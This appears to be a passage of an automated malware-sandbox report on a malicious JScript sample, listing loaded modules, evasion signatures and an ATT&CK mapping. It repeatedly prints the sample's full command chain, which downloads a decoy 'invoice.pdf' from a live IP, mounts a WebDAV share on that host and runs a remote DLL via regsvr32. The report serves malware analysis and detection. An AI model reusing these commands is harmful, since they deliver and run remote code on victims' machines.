Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4238.js.csv");ITextStream.WriteLine(" entry:7995 f:mmmvd");ITextStream.WriteLine(" exec:2 f:mmmvd");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49710

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6420			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3407			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7824	Thread sleep count: 6420 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828	Thread sleep count: 3407 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7924	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8116	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2940	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1455288919.0000013B43098000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2661440731.0000020736054000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2659894088.0000020730A24000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2661309868.0000020736041000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1454918507.0000013B43038000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
